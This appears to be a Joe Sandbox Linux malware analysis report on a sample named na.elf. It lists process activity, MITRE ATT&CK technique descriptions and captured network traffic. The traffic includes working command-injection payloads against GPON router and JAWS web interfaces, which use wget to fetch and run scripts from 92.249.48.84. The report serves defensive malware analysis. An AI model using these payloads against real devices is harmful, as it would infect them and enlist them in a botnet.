Oct 14, 2024 17:30:23.991144896 CEST	303	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 39 32 2e 32 34 39 2e 34 38 2e 38 34 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://92.249.48.84/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.14	41092	138.151.131.195	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:24.064400911 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.14	38782	217.70.46.89	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:24.064461946 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.14	57460	87.125.80.160	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:24.064486980 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.14	53840	191.171.244.77	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:24.064541101 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.14	40596	111.75.43.61	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:24.064563036 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.14	49366	181.76.157.106	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:24.064589977 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

System Behavior

Analysis Process: na.elf PID: 5500, Parent PID: 5419

General

Start time (UTC):	15:30:05
Start date (UTC):	14/10/2024
Path:	/tmp/na.elf
Arguments:	/tmp/na.elf
File size:	36468 bytes
MD5 hash:	5180e681041d8b5c4f176c09fc575bc2

Start time (UTC):	15:30:05
Start date (UTC):	14/10/2024
Path:	/tmp/na.elf
Arguments:	-
File size:	36468 bytes
MD5 hash:	5180e681041d8b5c4f176c09fc575bc2

Start time (UTC):	15:30:05
Start date (UTC):	14/10/2024
Path:	/tmp/na.elf
Arguments:	-
File size:	36468 bytes
MD5 hash:	5180e681041d8b5c4f176c09fc575bc2

Start time (UTC):	15:30:05
Start date (UTC):	14/10/2024
Path:	/tmp/na.elf
Arguments:	-
File size:	36468 bytes
MD5 hash:	5180e681041d8b5c4f176c09fc575bc2

Analysis Process: na.elf PID: 5504, Parent PID: 5501

General

Start time (UTC):	15:30:05
Start date (UTC):	14/10/2024
Path:	/tmp/na.elf
Arguments:	-
File size:	36468 bytes
MD5 hash:	5180e681041d8b5c4f176c09fc575bc2

Analysis Process: na.elf PID: 5506, Parent PID: 5501

General

Start time (UTC):	15:30:05
Start date (UTC):	14/10/2024
Path:	/tmp/na.elf
Arguments:	-
File size:	36468 bytes
MD5 hash:	5180e681041d8b5c4f176c09fc575bc2

Analysis Process: na.elf PID: 5507, Parent PID: 5501

General

Start time (UTC):	15:30:05
Start date (UTC):	14/10/2024
Path:	/tmp/na.elf
Arguments:	-
File size:	36468 bytes
MD5 hash:	5180e681041d8b5c4f176c09fc575bc2

Analysis Process: na.elf PID: 5508, Parent PID: 5501

General

Start time (UTC):	15:30:05
Start date (UTC):	14/10/2024
Path:	/tmp/na.elf
Arguments:	-
File size:	36468 bytes
MD5 hash:	5180e681041d8b5c4f176c09fc575bc2

Start time (UTC):	15:30:11
Start date (UTC):	14/10/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	15:30:11
Start date (UTC):	14/10/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	15:30:11
Start date (UTC):	14/10/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	15:30:11
Start date (UTC):	14/10/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	15:30:11
Start date (UTC):	14/10/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	15:30:11
Start date (UTC):	14/10/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	15:30:11
Start date (UTC):	14/10/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	15:30:11
Start date (UTC):	14/10/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	15:30:11
Start date (UTC):	14/10/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	15:30:11
Start date (UTC):	14/10/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	15:30:11
Start date (UTC):	14/10/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	15:30:11
Start date (UTC):	14/10/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	15:30:14
Start date (UTC):	14/10/2024
Path:	/usr/bin/dbus-daemon
Arguments:	-
File size:	249032 bytes
MD5 hash:	3089d47e3f3ab84cd81c48fd406d7a8c

Start time (UTC):	15:30:14
Start date (UTC):	14/10/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd
File size:	112880 bytes
MD5 hash:	4c7a0d6d258bb970905b19b84abcd8e9

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.
Tactics:	Impact
Data Sources:	Command: Command Execution, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Termination, Service: Service Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report na.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Program Segments

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

System Behavior

Analysis Process: na.elf PID: 5500, Parent PID: 5419

General

Chronological Activities

Analysis Process: na.elf PID: 5501, Parent PID: 5500

General

Chronological Activities

Analysis Process: na.elf PID: 5502, Parent PID: 5501

General

Chronological Activities

Analysis Process: na.elf PID: 5503, Parent PID: 5501

General

Analysis Process: na.elf PID: 5504, Parent PID: 5501

General

Linux Analysis Report
na.elf